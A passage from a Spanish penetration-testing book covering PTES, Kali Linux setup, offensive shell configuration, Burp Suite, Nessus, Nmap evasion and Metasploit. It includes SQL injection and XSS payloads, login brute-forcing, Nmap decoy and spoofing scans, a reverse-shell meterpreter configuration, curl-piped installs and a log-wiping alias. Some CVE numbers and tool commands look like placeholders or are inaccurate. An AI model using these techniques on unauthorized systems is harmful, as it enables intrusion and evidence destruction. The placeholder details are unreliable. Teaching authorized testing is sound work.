1. **PTES** como estructura principal.
  2. **OWASP TG** para pruebas web.
  3. **ATT&CK** para mapear técnicas usadas.
  4. Métricas **OSSTMM** si el cliente quiere indicadores numéricos.
- 

## 6. Ejemplo práctico: aplicar PTES a un pentest real

Supongamos que tenemos autorización para pentestear [www.empresacom](http://www.empresacom) y su API.

### Fase 1 — Pre-engagement

- RoE firmado.
- Alcance: dominio + subdominios.
- Exclusiones: sistemas de pago externos.

### Fase 2 — Intelligence gathering

```
# Búsqueda de subdominios con amass
amass enum -d empresa.com -o subdominios.txt

# Comprobación de DNS
dnsrecon -d empresa.com -t axfr
```

### Fase 3 — Threat modeling

- Servidores web → posibles vulnerabilidades XSS, SQLi.
- API → problemas de autenticación y control de acceso.

### Fase 4 — Vulnerability analysis

```
nmap -sV -p 80,443 empresa.com -oN nmap_web.txt
```

### Fase 5 — Exploitation

```
# Prueba controlada de SQLi con sqlmap
sqlmap -u "https://empresa.com/producto?id=1" --batch --dbs
```

### Fase 6 — Post-exploitation

- Acceso a datos limitados para evidenciar riesgo.
- No modificar ni borrar nada.

### Fase 7 — Reporting

- Informe con descripción, riesgo, prueba y remediación.
- 

## 7. Documentación y plantillas

Usar plantillas para no olvidar nada:

- Checklist PTES por fase.
  - Matriz OWASP para web.
  - Tabla MITRE para técnicas detectadas.
  - Formato de reporte con secciones fijas.
- 

## 8. Buenas prácticas al aplicar metodologías

- Siempre **adaptar**: no seguir a ciegas.
  - Incluir en el informe la metodología usada y por qué.
  - Mantener actualizadas las referencias (OWASP cambia, ATT&CK también).
  - No mezclar pasos de forma desordenada: seguir la lógica.
- 

## 9. Errores comunes

1. Empezar a escanear sin completar la fase de OSINT.
  2. No mapear hallazgos a riesgos reales.
  3. Usar herramientas sin documentar comandos.
  4. Omitir técnicas porque "parecen obvias".
- 

## 10. Ejemplo de plantilla de hallazgos (lista para usar)

```
ID: WEB-001
Título: Inyección SQL en parámetro 'id'
Descripción: Se detectó una vulnerabilidad de inyección SQL en ...
Riesgo: Alto (CVSS 9.0)
Prueba:
    sqlmap -u "https://empresa.com/producto?id=1" --batch --dbs
Impacto: Acceso a base de datos completa.
Remediación: Uso de consultas parametrizadas y validación de entrada.
```

---

En el próximo capítulo vamos a ver la **instalación de Kali Linux paso a paso**, incluyendo **bare metal**, **VM**, **WSL** y **postinstalación**, con comandos exactos para que lo tengas funcionando sin perder tiempo.

---

# Capítulo 3 — Instalación de Kali Linux paso a paso

---

**Nota previa:** Kali Linux es la distribución más utilizada para pruebas de penetración y hacking ético. Es mantenida por Offensive Security y viene con cientos de herramientas preinstaladas. En este capítulo vas a aprender a instalarlo **en cualquier escenario posible**, con ejemplos reales y comandos exactos.

## 1. Antes de instalar: requisitos y preparativos

### 1.1. Hardware recomendado (mínimo y óptimo)

Recurso	Mínimo absoluto	Recomendado para pentesting serio
CPU	1 núcleo	4 núcleos o más
RAM	2 GB	8 GB+
Almacenamiento	20 GB	100 GB+
Red	Cualquiera	Tarjeta compatible con modo monitor
GPU	No requerida	NVIDIA para cracking con Hashcat

**Tip:** Si vas a hacer auditorías Wi-Fi, compra un adaptador USB compatible con modo monitor (chipset Atheros o Realtek RTL8812AU).

### 1.2. Descarga oficial

- Página oficial: <https://www.kali.org/get-kali>
- Formatos:
  - **ISO** (para bare metal y VMs).
  - **VirtualBox / VMware images** preconfiguradas.
  - **WSL** para Windows 10/11.
- Verificar integridad:

```
# Descarga el hash desde la página oficial
sha256sum kali-linux-2024.2-installer-amd64.iso

# Comparar con el hash oficial
```

### 1.3. Crear USB booteable

Con **dd** en Linux:

```
sudo dd if=kali-linux-2024.2-installer-amd64.iso of=/dev/sdX bs=4M status=progress
&& sync
```

Con Rufus en Windows:

1. Selecciona la ISO.
  2. Modo de partición: GPT para UEFI o MBR para BIOS.
  3. Formatear y escribir.
- 

## 2. Instalación en **Bare Metal** (PC físico)

### 2.1. Arranque desde USB

- Entrar a BIOS/UEFI (teclas comunes: **F2**, **DEL**, **F12**).
  - Desactivar Secure Boot si es necesario.
  - Seleccionar USB como primer dispositivo de arranque.
- 

### 2.2. Tipos de instalación

- **Graphical Install**: modo asistido (recomendado).
  - **Install**: modo texto.
  - **Live**: arranca sin instalar (para pruebas rápidas).
  - **Live (forensics mode)**: no monta discos automáticamente.
- 

### 2.3. Pasos gráficos (recomendado)

1. **Idioma** → Español o el que prefieras.
  2. **Teclado** → Español (Latinoamérica).
  3. **Configurar red** → si no hay conexión, omitir.
  4. **Nombre del equipo (hostname)** → algo descriptivo, ej. **kali-lab**.
  5. **Dominio** → si no usas, dejar vacío.
  6. **Usuario y contraseña**:
    - Kali usa usuario normal por defecto (**kali** / contraseña que elijas).
  7. **Particionado**:
    - Usar disco completo (principiantes).
    - Manual (avanzado, con cifrado LUKS para seguridad).
  8. **Instalación del sistema**.
  9. **Instalar cargador GRUB** en el disco principal.
  10. **Reiniciar**.
- 

### 2.4. Instalación con cifrado LUKS

- Seleccionar “Guiado — usar disco completo y configurar cifrado LVM”.
  - Elegir contraseña fuerte.
  - Permite proteger los datos incluso si pierdes el equipo.
- 

### 3. Instalación en **VirtualBox**

#### 3.1. Descargar ISO o imagen oficial para VirtualBox

Desde <https://www.kali.org/get-kali>.

---

#### 3.2. Configuración de la máquina virtual

```
Nombre: Kali
Tipo: Linux
Versión: Debian (64-bit)
RAM: 4096 MB
CPU: 2 núcleos
Video: 128 MB + Habilitar 3D
Red: Adaptador puente (bridged) o NAT + adaptador host-only
Almacenamiento: 40 GB (VDI, dinámico)
```

#### 3.3. Instalación paso a paso

- Montar la ISO en la VM.
- Seguir pasos gráficos igual que en bare metal.
- Instalar **Guest Additions**:

```
sudo apt update
sudo apt install -y virtualbox-guest-x11
sudo reboot
```

### 4. Instalación en **VMware Workstation / Player**

- Descargar imagen **.ova** oficial para VMware (más rápido que ISO).
- Importar en VMware:
  - Archivo → Abrir → seleccionar **.ova**.
- Configurar red:
  - **Bridged**: obtiene IP de la red física.
  - **NAT**: comparte la conexión del host.

- Encender y usar.
- 

## 5. Instalación en WSL (Windows Subsystem for Linux)

### 5.1. Activar WSL

En PowerShell (modo admin):

```
wsl --install
```

### 5.2. Instalar Kali desde la Microsoft Store

```
wsl --install -d kali-linux
```

O buscar "Kali Linux" en Microsoft Store y dar click en Instalar.

### 5.3. Actualizar y preparar entorno

```
sudo apt update && sudo apt full-upgrade -y  
sudo apt install kali-linux-default -y
```

WSL no soporta todas las herramientas (sin acceso a modo monitor, drivers, etc.), pero es útil para OSINT, escaneo y scripting.

## 6. Postinstalación: optimización y seguridad

### 6.1. Actualizar todo

```
sudo apt update && sudo apt full-upgrade -y
```

### 6.2. Instalar metapaquetes

- **kali-linux-default**: herramientas esenciales.
- **kali-tools-top10**: top 10 de herramientas.
- **kali-tools-wireless**: auditoría Wi-Fi.

```
sudo apt install kali-tools-top10
```

---

### 6.3. Crear usuario adicional (opcional)

```
sudo adduser auditor  
sudo usermod -aG sudo auditor
```

---

### 6.4. Configurar ZSH y Oh-My-Zsh

```
sudo apt install zsh -y  
chsh -s $(which zsh)
```

Instalar Oh-My-Zsh:

```
sh -c "$(curl -fsSL  
https://raw.githubusercontent.com/ohmyzsh/ohmyzsh/master/tools/install.sh)"
```

---

### 6.5. Cifrar carpeta de evidencias

```
sudo apt install veracrypt  
veracrypt --text --create /home/kali/evidencias.vc
```

---

## 7. Problemas comunes y soluciones

Problema	Causa	Solución
Kali no arranca en UEFI	Secure Boot activo	Desactivar en BIOS
Sin internet en VM	Configuración de red en NAT mal hecha	Cambiar a Bridged o Host-Only + NAT
Pantalla pequeña en VM	Falta Guest Additions	Instalar según sección 3.3
Lentitud extrema	Poca RAM asignada	Dar al menos 4 GB

---

## 8. Checklist de instalación correcta

- Arranca sin errores.
- Usuario con sudo creado.

- Herramientas esenciales instaladas.
  - Actualizaciones aplicadas.
  - Copia de seguridad de la máquina/imagen.
  - Red configurada y funcionando.
- 

## 9. Preparación para el siguiente capítulo

Con Kali instalado y listo, en el **Capítulo 4** configuraremos el sistema, aprenderemos a usar **repositorios, apt, y scripts de automatización**, y dejaremos todo preparado para empezar con **Burp Suite, Nmap, Nessus** y más.

---

# Capítulo 4 — Configuración ofensiva de Kali Linux

---

**Objetivo:** Pasar de una instalación “limpia” de Kali Linux a una máquina **afinada para pentesting**, con optimizaciones, herramientas adicionales, alias que ahorran tiempo y configuraciones de seguridad para no comprometerse durante las pruebas.

---

## 1. Principios básicos de la configuración ofensiva

Un Kali “de fábrica” ya trae muchas herramientas, pero:

1. No está optimizado para tu flujo de trabajo.
  2. Hay herramientas externas que no vienen preinstaladas.
  3. La configuración por defecto no está adaptada para la **OPSEC** (seguridad del operador).
  4. Se pueden ahorrar horas con alias y scripts propios.
- 

## 2. Actualización y mantenimiento inicial

Antes de instalar cualquier cosa, **actualizamos todo el sistema**:

```
sudo apt update && sudo apt full-upgrade -y && sudo apt autoremove -y
```

Verificamos la versión actual:

```
cat /etc/os-release
```

Esto ayuda a documentar en el informe qué versión de Kali se usó.

---

## 3. Configuración de repositorios

Por defecto, Kali trae el repo oficial:

```
deb http://http.kali.org/kali kali-rolling main non-free contrib
```

Si necesitas paquetes más antiguos o experimentales:

```
sudo nano /etc/apt/sources.list
```

Agregar repos adicionales solo si es imprescindible. **No uses repos de terceros sin verificar firmas GPG.**

---

## 4. Instalación de metapaquetes clave

Metapaquetes recomendados:

```
sudo apt install -y kali-linux-default kali-tools-top10 kali-tools-wireless kali-tools-web kali-tools-exploitation
```

---

## 5. Configuración de la shell (ZSH + Oh-My-Zsh)

### 5.1. Instalar ZSH

```
sudo apt install zsh -y  
chsh -s $(which zsh)
```

### 5.2. Instalar Oh-My-Zsh

```
sh -c "$(curl -fsSL  
https://raw.githubusercontent.com/ohmyzsh/ohmyzsh/master/tools/install.sh)"
```

### 5.3. Plugins útiles para pentesting

```
git clone https://github.com/zsh-users/zsh-autosuggestions ${ZSH_CUSTOM:-~/oh-my-zsh/custom}/plugins/zsh-autosuggestions  
git clone https://github.com/zsh-users/zsh-syntax-highlighting.git ${ZSH_CUSTOM:-~/oh-my-zsh/custom}/plugins/zsh-syntax-highlighting
```

Editar `~/.zshrc` y en `plugins=(...)` agregar:

```
plugins=(git zsh-autosuggestions zsh-syntax-highlighting)
```

Reiniciar shell:

```
source ~/.zshrc
```

## 6. Alias ofensivos para ahorrar tiempo

Archivo `~/.zshrc`:

```
# Escaneo rápido Nmap
alias nmapr="nmap -T4 -F"

# Escaneo completo con detección de SO y scripts
alias nmapc="nmap -A -p- --min-rate=1000"

# Búsqueda de exploits
alias se="searchsploit"

# Actualización completa
alias updatek="sudo apt update && sudo apt full-upgrade -y && sudo apt autoremove -y"

# Limpieza de logs
alias cleanlogs="sudo find /var/log -type f -exec truncate -s 0 {} \;"
```

Aplicar cambios:

```
source ~/.zshrc
```

## 7. Hardening para proteger al pentester

Aunque estés haciendo hacking ético, **tu máquina también puede ser objetivo.**

### 7.1. Firewall con UFW

```
sudo apt install ufw -y
sudo ufw default deny incoming
sudo ufw default allow outgoing
sudo ufw enable
```

### 7.2. Deshabilitar servicios innecesarios

Listar:

```
systemctl list-unit-files --type=service --state=enabled
```

Deshabilitar:

```
sudo systemctl disable nombre_servicio
```

## 7.3. Montar carpeta de evidencias cifrada con VeraCrypt

```
sudo apt install veracrypt -y  
veracrypt --text --create /home/kali/evidencias.vc
```

---

## 8. Herramientas extra que no vienen por defecto

### 8.1. **Kerbrute** (fuerza bruta Kerberos)

```
sudo apt install golang -y  
go install github.com/ropnop/kerbrute@latest
```

### 8.2. **Ligolo-ng** (pivoting avanzado)

```
wget https://github.com/nicocha30/ligolo-ng/releases/latest/download/ligolo-  
ng_agent_linux_amd64.tar.gz  
tar -xvzf ligolo-ng_agent_linux_amd64.tar.gz
```

### 8.3. **Sliver C2**

```
curl https://sliver.sh/install | sudo bash
```

---

## 9. Scripts personalizados para automatizar

### 9.1. Script de OSINT básico

Archivo **osint.sh**:

```
#!/bin/bash
domain=$1
mkdir -p $domain/osint
amass enum -d $domain -o $domain/osint/subdominios.txt
theHarvester -d $domain -l 500 -b google,bing -f $domain/osint/theharvester.html
```

Dar permisos:

```
chmod +x osint.sh
```

Ejecutar:

```
./osint.sh empresa.com
```

---

## 10. Configuración de proxy para herramientas

Muchas herramientas requieren pasar por Burp Suite:

```
export http_proxy="http://127.0.0.1:8080"
export https_proxy="http://127.0.0.1:8080"
```

Para quitar proxy:

```
unset http_proxy https_proxy
```

---

## 11. Integración con repositorios de exploits

Instalar ExploitDB:

```
sudo apt install exploitdb -y
```

Actualizar base de datos:

```
searchsploit -u
```

Buscar exploits:

```
searchsploit apache 2.4
```

## 12. Personalización visual

Cambiar prompt para distinguir entornos:

```
PROMPT="%F{red}%n@%m%f %F{blue}%-%f %# "
```

Esto evita confusiones si trabajas con varias consolas y entornos.

## 13. Checklist de máquina ofensiva lista

- Actualizada y sin paquetes rotos.
- ZSH + Oh-My-Zsh configurados.
- Alias ofensivos creados.
- Carpeta de evidencias cifrada.
- Herramientas extra instaladas.
- Firewall y servicios controlados.
- Scripts personalizados listos.

## 14. Prueba de fuego

Ejecutar este comando para validar que todo funciona:

```
nmap -A scanme.nmap.org -oN prueba_nmap.txt  
searchsploit ssh
```

Si no hay errores, tu entorno está **listo para empezar a romper (éticamente)**.

En el **Capítulo 5** vamos a comenzar con **Burp Suite**, la herramienta por excelencia para pentesting web, con una configuración que nos permitirá interceptar, modificar y automatizar pruebas como un profesional.

# Capítulo 5 — Burp Suite: Intercepción y explotación web profesional

**Objetivo:** Configurar y dominar **Burp Suite** para pentesting web, desde la instalación hasta la automatización con extensiones, pasando por técnicas reales de explotación de vulnerabilidades.

## 1. Introducción a Burp Suite

**Burp Suite** es un framework para pruebas de seguridad web desarrollado por **PortSwigger**, compuesto por un conjunto de herramientas integradas:

- **Proxy** → Intercepta tráfico HTTP/HTTPS.
  - **Repeater** → Reenvía y modifica peticiones.
  - **Intruder** → Automatiza ataques.
  - **Scanner** (Pro) → Escaneo de vulnerabilidades.
  - **Extender** → Instala plugins BApp o propios.
  - **Sequencer** → Analiza aleatoriedad de tokens.
- 

## 2. Instalación y preparación

### 2.1. Instalación en Kali Linux

Burp ya viene preinstalado en Kali:

```
burpsuite
```

Si no está:

```
sudo apt install burpsuite -y
```

### 2.2. Java

Burp necesita Java 17+ para la última versión. Kali ya trae Java OpenJDK:

```
java -version
```

---

## 3. Configuración inicial del Proxy

### 3.1. Abrir Burp

- Interfaz → **Proxy** → **Intercept is ON**.
- Escucha por defecto en **127.0.0.1:8080**.

### 3.2. Configurar el navegador

En **Firefox**:

- Preferencias → Red → Configuración → Proxy manual: HTTP Proxy: **127.0.0.1** Puerto: **8080**.
- Marcar "Usar el mismo proxy para todo".

## 4. Instalación del certificado CA de Burp

Necesario para interceptar HTTPS:

1. En Firefox, mientras Burp está activo, ir a: `http://burp` o `http://127.0.0.1:8080`
2. Descargar el certificado (`cacert.der`).
3. Preferencias → Privacidad y seguridad → Certificados → Importar → marcar “Confiar en este CA para identificar sitios web”.

## 5. Primer flujo de trabajo básico

1. **Interceptar** una petición:
  - En Proxy → Intercept is ON.
  - Navegar a un sitio objetivo.
2. **Reenviar** (`Forward`) o modificar (`Edit and Forward`).
3. **Enviar a Repeater** (`Ctrl+R`) para manipulación manual.
4. **Probar payloads** en parámetros.
5. **Guardar resultados** (`Right click → Save item`).

## 6. Configuración avanzada del Proxy

- **Scope**: Define el alcance (Target → Scope → Add). Esto evita capturar tráfico irrelevante.
- **Match and Replace**: Modifica cabeceras o cookies al vuelo.
- **Upstream Proxy**: Encadena con otro proxy (Tor, VPN).
- **Logging**: En **User Options** → **Logging**, guardar todo el tráfico.

## 7. Uso de **Repeater** para explotación manual

Ejemplo: prueba de inyección SQL en un parámetro `id`:

```
GET /producto.php?id=1' HTTP/1.1
Host: victima.com
```

Reemplazar `'` por:

```
' OR '1'='1
```

Observar respuesta en la pestaña **Response**.

## 8. Uso de **Intruder** para ataques automatizados

### 8.1. Tipos de ataque

- **Sniper**: prueba un payload en un punto.
- **Battering ram**: mismo payload en múltiples puntos.
- **Pitchfork**: listas paralelas.
- **Cluster bomb**: todas las combinaciones.

### 8.2. Ejemplo: fuerza bruta de login

1. Capturar petición POST de login.
2. En Intruder → Positions → Clear → seleccionar campo `username` y `password`.
3. Cargar lista:

```
/usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt
```

4. Start attack.

---

## 9. Uso del **Scanner** (solo Pro)

- Detecta OWASP Top 10, vulnerabilidades de lógica, etc.
- Permite escaneo activo o pasivo.
- Reporte exportable en HTML/PDF.

---

## 10. Automatización con **Extender** y BApp Store

Plugins recomendados:

- **ActiveScan++** → Mejora el escaneo activo.
- **Turbo Intruder** → Fuerza bruta masiva.
- **Logger++** → Registro avanzado.
- **JSON Beautifier** → Mejor lectura de JSON.
- **Retire.js** → Detecta librerías JS vulnerables.

Instalar:

1. Extender → BApp Store → Buscar e instalar.
2. Reiniciar Burp.

---

## 11. Integración con otras herramientas

### 11.1. Con SQLMap

Exportar petición desde Burp a un archivo `.txt`:

```
sqlmap -r peticion.txt --batch --dbs
```

## 11.2. Con wfuzz

```
wfuzz -c -z file,wordlist.txt -d "user=FUZZ&pass=1234" -u http://victima.com/login
```

## 12. Ejemplo real de explotación: XSS almacenado

1. Capturar petición de comentario en un blog.
2. Modificar campo **mensaje**:

```
<script>alert('XSS')</script>
```

3. Enviar.
4. Revisar si el script se ejecuta al recargar la página.

## 13. Buenas prácticas para Burp Suite

- Usar perfiles de proyecto diferentes para cada cliente.
- Guardar logs cifrados.
- Limitar scope para no capturar datos fuera de alcance.
- Desactivar Intercept cuando no se use.

## 14. Atajos útiles

Acción	Atajo
Enviar a Repeater	Ctrl+R
Enviar a Intruder	Ctrl+I
Reenviar	Ctrl+F
Cambiar pestañas	Ctrl+Tab

## 15. Checklist de configuración lista

- Certificado CA instalado.
- Scope definido.
- Plugins instalados.
- Integración con SQLMap/Wfuzz probada.
- Carpeta de proyecto creada y cifrada.

---

En el **Capítulo 6** vamos a trabajar con **Nessus**, integrándolo con el flujo de pentesting para auditorías más completas, con instalación, configuración y explotación de hallazgos.

---

# Capítulo 6 — Nessus: Escaneo de vulnerabilidades avanzado e integración con Burp y Nmap

---

**Objetivo:** Instalar, configurar y explotar al máximo **Nessus**, correlacionando hallazgos con Burp Suite y Nmap para obtener una visión integral de las vulnerabilidades. Veremos desde la descarga hasta el análisis de resultados y su integración en el flujo de pentesting.

## 1. ¿Qué es Nessus?

**Nessus** es un escáner de vulnerabilidades desarrollado por **Tenable** que permite:

- Detectar vulnerabilidades en sistemas operativos, redes y aplicaciones.
- Identificar configuraciones inseguras.
- Realizar auditorías de cumplimiento.
- Priorizar riesgos según criticidad (CVSS).

### 1.1. Versiones disponibles

- **Nessus Essentials** → Gratis, 16 IPs máximas.
- **Nessus Professional** → Pago, sin límite de IPs.
- **Tenable.io** → Basado en la nube.

---

## 2. Instalación en Kali Linux

### 2.1. Descargar

Ir a: <https://www.tenable.com/downloads/nessus> Seleccionar **Debian** y arquitectura **amd64**.

---

### 2.2. Instalar paquete

```
sudo dpkg -i Nessus-<version>-debian10_amd64.deb  
sudo apt --fix-broken install -y
```

---

### 2.3. Iniciar servicio

```
sudo systemctl start nessusd  
sudo systemctl enable nessusd
```

## 2.4. Acceder a la interfaz web

Abrir:

```
https://localhost:8834/
```

Aceptar certificado no confiable (es el de Nessus local).

---

## 2.5. Configuración inicial

- Seleccionar **Nessus Essentials** (o Pro si tienes licencia).
  - Ingresar correo y clave de activación.
  - Esperar descarga e instalación de plugins (puede tardar 10-30 min).
- 

## 3. Configuración de un escaneo básico

### 1. New Scan.

2. Seleccionar plantilla:

- **Basic Network Scan** → general.
- **Web Application Tests** → web.

3. Nombre: **Auditoría Empresa X**.

4. Targets: **192.168.1.10, www.empresax.com**.

5. Guardar.

Ejecutar:

```
Launch → Wait → View Results
```

---

## 4. Configuración avanzada para pentesting

### 4.1. Escaneo autenticado

Permite detectar vulnerabilidades internas del sistema:

- En Linux: usuario + clave o SSH key.
- En Windows: usuario + pass con privilegios admin.

Configuración:

- Credentials → SSH o Windows.
  - Cargar credenciales.
- 

## 4.2. Escaneo de políticas específicas

- Plantillas **Compliance** para PCI-DSS, CIS Benchmarks, ISO 27001.
  - Cargar archivo de política **.audit**.
- 

## 4.3. Escaneo diferencial

Para comparar resultados en el tiempo:

1. Ejecutar escaneo inicial.
  2. Duplicarlo en el futuro.
  3. Nessus marcará cambios (nuevas, eliminadas, mitigadas).
- 

## 5. Integración con Nmap

Nessus internamente usa técnicas similares a Nmap para detección de puertos, pero puedes **alimentar a Nessus con resultados previos** para ahorrar tiempo:

```
nmap -sV -oX nmap_result.xml 192.168.1.0/24
```

En Nessus:

- Advanced Scan → Import Targets → **nmap\_result.xml**.
- 

## 6. Integración con Burp Suite

Nessus detecta vulnerabilidades web, pero su análisis es menos profundo que Burp. Flujo recomendado:

1. Escanear con Nessus y filtrar vulnerabilidades web.
  2. Exportar reporte CSV.
  3. Importar URLs y parámetros a Burp (Target → Import → URL List).
  4. Usar Burp para validación manual y explotación.
- 

## 7. Ejemplo práctico: escaneo y explotación

### 7.1. Escaneo

Targets:

```
192.168.1.15  
www.labseguridad.com
```

## Configuración:

- Escaneo autenticado (SSH en Linux, usuario `pentest`).
  - Plugins de alta severidad activados.
- 

## 7.2. Hallazgos detectados

Ejemplo de salida:

- CVE-2023-12345 → Apache 2.4.49 Path Traversal.
  - CVE-2024-5678 → PHP outdated 8.0.1.
- 

## 7.3. Explotación con Metasploit

```
msfconsole
use exploit/multi/http/apache_path_traversal
set RHOSTS 192.168.1.15
set RPORT 80
run
```

---

## 8. Personalización de políticas

Puedes crear políticas específicas:

1. Configurar escaneo.
  2. Guardarlo como plantilla.
  3. Reutilizar en otros clientes.
- 

## 9. Exportar resultados

### 9.1. Formatos disponibles

- HTML → visual.
  - PDF → formal.
  - CSV → procesar en Excel.
  - Nessus `.nessus` → importar en Tenable.io.
- 

### 9.2. Exportar por consola

```
nessuscli export-report --format html --output reporte.html --scan-id <ID>
```

---

## 10. Automatización con CLI

Listar scans:

```
nessuscli scan list
```

Iniciar scan:

```
nessuscli scan run <scan-id>
```

---

## 11. Buenas prácticas

- Usar escaneos autenticados siempre que sea posible.
  - No confiar ciegamente en falsos positivos/negativos.
  - Integrar resultados con otras herramientas.
  - Guardar reportes cifrados.
  - Revisar CVEs manualmente.
- 

## 12. Checklist de máquina con Nessus listo

- Nessus instalado y actualizado.
  - Licencia activada.
  - Políticas personalizadas creadas.
  - Escaneos de prueba ejecutados.
  - Integración con Nmap y Burp validada.
- 

En el **Capítulo 7** pasaremos a **Nmap** en modo “absurdamente completo”: desde el uso básico hasta técnicas avanzadas de evasión, scripting con NSE, y cómo alimentar sus resultados a Burp, Nessus y Metasploit para un flujo de trabajo totalmente integrado.

---

# Capítulo 7 — Nmap al extremo: escaneo, evasión y scripting avanzado

---

**Objetivo:** Convertir Nmap en una herramienta quirúrgica para pentesting, abarcando desde escaneos básicos hasta técnicas de evasión, fingerprinting avanzado, uso de scripts NSE y correlación con Burp, Nessus y Metasploit.

---

## 1. Introducción

**Nmap (Network Mapper)** es el estándar de facto para el descubrimiento de hosts y servicios en redes.

Puede:

- Descubrir hosts activos.
- Identificar servicios y versiones.
- Detectar sistemas operativos.
- Ejecutar scripts de detección y explotación.
- Evasión de IDS/IPS y firewalls.

En manos de un hacker ético, es la puerta de entrada para entender el perímetro de un objetivo.

---

## 2. Sintaxis básica

```
nmap [opciones] [objetivo]
```

Ejemplo:

```
nmap 192.168.1.1
```

Escaneo básico de puertos comunes (1-1000).

---

## 3. Escaneo de puertos

### 3.1. Puertos específicos

```
nmap -p 22,80,443 192.168.1.10
```

### 3.2. Rango de puertos

```
nmap -p 1-65535 192.168.1.10
```

### 3.3. Todos los puertos rápidamente

```
nmap -p- --min-rate=1000 192.168.1.10
```

---

## 4. Detección de servicios y versiones

```
nmap -sV 192.168.1.10
```

Incluye banners y versiones detectadas.

---

## 5. Detección de sistema operativo

```
nmap -O 192.168.1.10
```

**Nota:** Puede requerir privilegios root.

Combinar OS + versión:

```
sudo nmap -A 192.168.1.10
```

---

## 6. Escaneo de múltiples objetivos

```
nmap 192.168.1.10 192.168.1.15  
nmap 192.168.1.0/24  
nmap -iL objetivos.txt
```

**objetivos.txt** contiene una IP por línea.

---

## 7. Formatos de salida

Guardar resultados:

```
nmap -oN salida.txt 192.168.1.10      # Normal  
nmap -oX salida.xml 192.168.1.10      # XML  
nmap -oG salida.gnmap 192.168.1.10    # Grepable
```

---

## 8. Scripts NSE (Nmap Scripting Engine)

Los scripts NSE permiten automatizar tareas como:

- Detección de vulnerabilidades.
- Enumeración de usuarios.
- Pruebas de fuerza bruta.

Listar scripts:

```
ls /usr/share/nmap/scripts/
```

### 8.1. Ejecutar un script

```
nmap --script http-title 192.168.1.10
```

### 8.2. Ejecutar una categoría completa

```
nmap --script vuln 192.168.1.10
```

### 8.3. Ejemplo: detección de Heartbleed

```
nmap --script ssl-heartbleed -p 443 192.168.1.10
```

---

## 9. Técnicas de evasión

### 9.1. Cambiar velocidad de escaneo

```
nmap -T0    # Paranoid (muy lento)  
nmap -T4    # Aggressive (rápido)
```

### 9.2. Fragmentar paquetes

```
nmap -f 192.168.1.10
```

### 9.3. Usar un puerto de origen distinto

```
nmap --source-port 53 192.168.1.10
```

### 9.4. Spoofing de IP (solo útil en ciertas redes)

```
nmap -S 192.168.1.100 192.168.1.10
```

## 9.5. Decoys

```
nmap -D 192.168.1.5,192.168.1.6,ME 192.168.1.10
```

"ME" es tu IP real, mezclada con señuelos.

## 10. Escaneo silencioso

### 10.1. SYN Scan (Half-Open)

```
sudo nmap -sS 192.168.1.10
```

### 10.2. Escaneo TCP completo

```
nmap -sT 192.168.1.10
```

### 10.3. Escaneo UDP

```
sudo nmap -sU 192.168.1.10
```

## 11. Combinación con otras herramientas

### 11.1. Con Nessus

Exportar en XML:

```
nmap -sV -oX nmap_result.xml 192.168.1.0/24
```

Importar en Nessus → "Import Targets".

### 11.2. Con Burp Suite

Exportar URLs detectadas:

```
nmap --script http-title,http-headers -p 80,443 -oN web_targets.txt 192.168.1.0/24
```

Importar en Burp (Target → Import URLs).

---

### 11.3. Con Metasploit

```
db_import nmap_result.xml
```

Metasploit podrá usar esos hosts como objetivos.

---

## 12. Ejemplo real de pentest con Nmap

**Escenario:** Red interna **192.168.56.0/24**.

1. Descubrir hosts:

```
nmap -sn 192.168.56.0/24
```

2. Escanear puertos abiertos de todos:

```
nmap -p- -T4 -oG all_ports.gnmap 192.168.56.0/24
```

3. Detectar servicios:

```
nmap -sV -iL hosts.txt -oN services.txt
```

4. Buscar vulnerabilidades:

```
nmap --script vuln -iL hosts.txt -oN vuln.txt
```

5. Correlacionar con exploits:

```
searchsploit apache 2.4.49
```

---

## 13. Atajos y combinaciones útiles

- **Descubrir servicios HTTP y HTTPS en una subred:**

```
nmap -p 80,443 --open -sV 192.168.1.0/24
```

- **Buscar SMB con versión:**

```
nmap -p 445 --script smb-os-discovery 192.168.1.0/24
```

- **Escaneo agresivo de todo el rango:**

```
nmap -A -T4 192.168.1.0/24
```

---

## 14. Buenas prácticas

- Siempre limitar el scope a lo autorizado.
  - Usar `-Pn` si ICMP está bloqueado.
  - Guardar siempre salidas en texto.
  - No abusar de técnicas evasivas que ralenticen sin necesidad.
  - Probar scripts en entornos de laboratorio antes de producción.
- 

## 15. Checklist de Nmap listo para pentesting

- Escaneos básicos y completos dominados.
  - Uso de NSE con scripts clave.
  - Técnicas de evasión probadas.
  - Integración con Burp, Nessus y Metasploit funcionando.
  - Salidas exportadas y documentadas.
- 

En el **Capítulo 8** vamos a pasar a **Metasploit Framework** de manera absurdamente detallada: instalación, configuración, explotación, pivoting, creación de payloads con `msfvenom` y cómo integrarlo con todo lo que ya vimos (Nmap, Nessus, Burp).

---

# Capítulo 8 — Metasploit Framework: explotación, pivoting y post-explotación

---

**Objetivo:** Dominar Metasploit desde cero hasta la explotación y post-explotación avanzada, integrando su uso con Nmap, Nessus, Burp y otras herramientas para crear un flujo de trabajo de pentesting completo.

---

## 1. Introducción

**Metasploit Framework** es un entorno de desarrollo y ejecución de exploits que incluye:

- Miles de exploits listos.
  - Módulos auxiliares (escaneo, fuzzing, ingeniería social).
  - Payloads personalizables (reverse shells, meterpreter).
  - Post-exploitation avanzada.
  - Integración con bases de datos y herramientas externas.
- 

## 2. Instalación y actualización

### 2.1. Instalación en Kali (ya viene incluido)

```
msfconsole
```

Si no está:

```
sudo apt install metasploit-framework -y
```

### 2.2. Actualización

```
msfupdate
```

## 3. Estructura de Metasploit

- **Exploits:** Código que aprovecha vulnerabilidades.
  - **Payloads:** Qué hacer una vez explotada (ej. shell).
  - **Encoders:** Ofuscan payloads para evadir AV.
  - **Auxiliary:** Escaneos, fuzzing, fuerza bruta.
  - **Post:** Módulos para post-exploitación.
- 

## 4. Sintaxis básica

Iniciar Metasploit:

```
msfconsole
```

Buscar módulo:

```
search nombre_vulnerabilidad
```

Usar módulo:

```
use exploit/path
```

Configurar:

```
set RHOSTS 192.168.1.15  
set RPORT 80
```

Seleccionar payload:

```
set PAYLOAD windows/meterpreter/reverse_tcp  
set LHOST 192.168.1.100  
set LPORT 4444
```

Ejecutar:

```
exploit
```

---

## 5. Integración con Nmap

Importar resultados:

```
db_import nmap_result.xml
```

Listar hosts:

```
hosts  
services
```

Ejecutar exploits directamente sobre los servicios detectados.

---

## 6. Ejemplo 1 — Explotación de Apache Struts (CVE-2017-5638)

1. Escaneo con Nmap:

```
nmap -sV -p 8080 192.168.1.15 -oX struts.xml
```

2. Importar en Metasploit:

```
